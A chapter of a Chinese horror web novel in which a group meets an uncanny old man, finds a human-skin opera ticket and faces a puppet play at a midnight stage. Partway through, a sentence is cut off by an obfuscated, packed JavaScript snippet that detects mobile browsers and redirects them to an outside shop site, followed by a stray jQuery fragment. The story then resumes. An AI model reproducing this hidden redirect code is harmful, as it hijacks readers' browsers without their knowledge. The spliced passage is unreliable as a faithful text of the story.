六个人站在天井里，齐齐望向院门的方向。
那个声音还在继续，越来越近，越来越清晰。
“锣鼓一响……魂儿上场……丝线一牵……命儿悬……”
“谁？！”楚宴握声音压得很低但充满了威胁。
院门被人从外面推开了。
一个老人站在门口。
他佝偻着背，穿着一件洗得发白的灰色对襟褂子，头上戴着一顶破旧的毡帽，脸上的皱纹深得像刀刻的。最引人注目的是他的眼睛——那双眼睛浑浊发白，瞳孔像是蒙了一层灰白色的薄膜，看起来像是瞎了，但又不像，因为那双眼睛此刻正精准地“看”着院子里六个人的方向，一个不落。
老人咧开嘴笑了。
他的嘴里只剩下了三颗牙，上下不对齐，笑起来的时候像是一个被捏坏了的木偶。
“来了六位客啊，”老人的声音忽然不沙哑了，变得清亮起来，像是在唱戏一样，每个字都带着婉转的拖腔，“好多年没有这么多客了……好多年了……”
方永安上前一步，挡在了所有人前面。
“老人家，”他的声音还算镇定，但手已经悄悄把黄符攥紧了，“这么晚了，您怎么还在外面走？”
老人的头慢慢地、慢慢地歪向一边，角度大得不像人类能做到的程度，颈部的皮肤被拉伸到了极限，露出下面青紫色的血管。
“等你们啊。”老人说，脸上的笑容没有变，但那双浑浊的眼睛里，有什么东西在慢慢地、慢慢地转动着，像两颗生锈的轴承，“等了很久很久了。”
“等我们做什么？”沈澈初从方永安身后探出半个身子，语气平淡得像在问今天天气怎么样。
老人歪着的头又慢慢地正了回来，动作流畅得不自然，像是有一只无形的手在拽着他头顶的某根线，把他的脑袋拉回到原来的位置。
“看戏啊。”老人说，“今晚十二点，镇中心的戏台，好戏就要开场了。”
他说完这句话，脸上的笑容忽然消失了。
不是慢慢地收起来，而是像被人按了开关一样，啪的一下，所有表情同时归零。那张脸变成了一张白板，没有任何情绪，没有任何温度，只有那三颗牙齿还露在外面，在月光下泛着微微的冷光。
然后他转身走了。
佝偻的背影消失在夜色里，脚步声在青石板路上嗒嗒嗒嗒地远去，那声音有一种奇怪的节奏，像是木棍敲击地面的声音，又像是什么东西在石板上拖着走的声音。
嗒。嗒嗒。嗒。嗒嗒嗒。
不是两只脚。
至少不是两“只”脚。
方永安在院门口站了很久，直到那个声音彻底消失，才缓缓吐出一口气。
“十二点。”他说。
锦怀夏低头看了一眼那枚指南针。铜制的指针微微颤动着，指向小镇中心的方向，和白天在陵园里一样，坚定不移。
“还有一个小时。”她说。
午夜十一点四十分，六个人站在了小镇中心广场的边缘。
广场不大，大约有两个篮球场大小，地面铺着平整的青砖，缝隙里长满了干枯的杂草。广场的正中央是一座戏台，坐北朝南，飞檐翘角，檐下的木雕已经被风雨侵蚀得面目全非，只能隐约看出是一些戏曲人物的形象。
戏台是空的。
幕布垂着，红色的布料在月光下呈现出一种近乎黑色的暗红，像是被什么东西反复浸染过。台上没有乐器，没有道具，没有演员。但戏台两侧的柱子上贴着一副对联，字迹是暗红色的，在夜色中看不真切，方永安凑近了几步才勉强辨认出来：
“方寸地，万里江山。”
“顷刻间，千秋事业。”
横批是四个字，但中间的两个字已经被什么东西抹去了，只剩下两团暗红色的污渍，和两个字——
“□□人生”。
方永安盯着那副对联看了几秒，后背的汗毛一根一根地竖了起来。
“方寸地，万里江山。顷刻间，千秋事业。”他在心里默念了一遍，忽然想起小时候师父说过的一句话——戏台是阴阳交界的地方，台上演的是人间事，台下看的是鬼中人。
“还有二十分钟。”沈澈初报时，声音在空旷的广场上显得格外清晰。
渝希忽然蹲了下来。
她的手指按在青砖地面上，轻轻摩挲了一下，然后放到鼻尖闻了闻。
“怎么了？”锦怀夏问。
“砖缝里有东西。”渝希站起来，把手指上的东西亮给大家看。那是一层极细极薄的灰白色粉末，在月光下微微反光，像是某种东西燃烧后留下的灰烬。
“骨灰。”方永安只看了一眼就认出来了，脸色微变，“不是人的，是动物的。鸡、鸭、鹅，可能还有猪和羊。这是祭祀用的，旧时候唱戏之前要祭台，用三牲的血洒在台前，然后用火烧掉毛和骨头。”
“那这个呢？”楚宴指着另一条砖缝里的东西。
那是一小片纸，已经被露水浸得发软，但上面的字迹还勉强可以辨认。方永安小心地把它捏起来，展开，借着月光看过去——
是一张戏票。
没有座位号，没有时间，没有地点。只有一行用毛笔写的小字，字迹娟秀，像是女人的手笔：
“凭此票入场，请勿中途离席。”
方永安把戏票翻过来，背面什么也没有，但纸张的触感不太对。不是普通的纸，比宣纸厚，比卡纸薄，摸起来有一种奇怪的滑腻感，像是……
“皮。”渝希的声音从旁边传来，不大，但每个字都像钉子一样扎进所有人的耳朵里，“人皮。”
方永安手一抖，那张戏票从他指尖滑落，轻飘飘地落回了砖缝里，像一片没有重量的枯叶。
没有人说话。
月光照在六个人的脸上，每个人的表情都不太一样——沈澈初在皱眉，楚宴在咬牙，锦怀夏嘴唇微微发白，渝希面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574234|204981||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无表情，方永安的喉结上下滚动了一下。
而第六个人，或者说第六种表情——
不，他们只有五个人。
方永安猛地转头，数了一遍人头：他自己，沈澈初，锦怀夏，楚宴，渝希。
五个。
刚才那个老人说“六位客”。
他数的也是六个。
“谁在数？”方永安的声音忽然变得很轻，轻到像是怕惊动什么，“刚才，谁在数？”
没有人回答。
但所有人的目光都慢慢转向了同一个方向——
戏台。
红色的幕布不知道什么时候拉开了一条缝。不大，只有一掌宽。那条缝后面是一片深不见底的黑暗，但在那片黑暗的最深处，有什么东西在动。
不，不是“什么”。
是谁。
一个穿着戏服的人站在幕布后面，脸上画着浓重的脸谱，红白黑三色交错，看不出性别，看不出年龄。那个人——或者说那个东西——正透过那条缝，静静地看着广场上的五个人。
不。
是六个人。
方永安感觉有什么东西站在他身后。
很近。
近到他能感觉到对方呼出的气息，冰凉冰凉的，带着一股陈旧的、像樟脑丸和霉味混在一起的气息，拂过他后颈的皮肤。
他不敢回头。
没有人敢回头。
因为就在这一刻，戏台上方的横梁上，不知道什么时候多了一排东西——
木偶。
大大小小的木偶，被细如发丝的线吊着，悬挂在横梁下方。它们穿着各色的戏服，脸上画着和那个幕布后面的人一模一样的脸谱，在夜风中微微晃动着，发出细碎的、像骨头碰撞一样的声响。
咔嗒。咔嗒。咔嗒。
午夜十二点。
戏台的锣鼓声骤然响起，震耳欲聋，像是有人在耳边同时敲响了十面铜锣。那声音太大了，大到方永安感觉自己的心脏都要被震碎，大到他的视野开始发白，大到——
幕布猛地拉开。
戏台上灯火通明。
那个穿着戏服的人已经站在了舞台中央，脸上没有脸谱了——不对，脸谱还在，但那张脸谱不是画上去的，而是长在肉里的，红色白色的颜料像血管一样嵌在皮肤下面，随着那个人的呼吸微微蠕动着。
那个人开口了。
声音不是从喉咙里发出来的，而是从戏台四周同时响起的，像一个巨大的环绕声系统，把每一个字都灌进所有人的脑子里：
“诸位看官，久等了。”
“今晚的戏，名叫——”
“木偶戏。”
话音落下的瞬间，方永安终于感觉到，站在他身后的那个东西，把一只手搭在了他的肩膀上。
那是一只木偶的手。
关节分明，木质温润，指尖涂着红色的蔻丹，每一个指节都可以独立活动。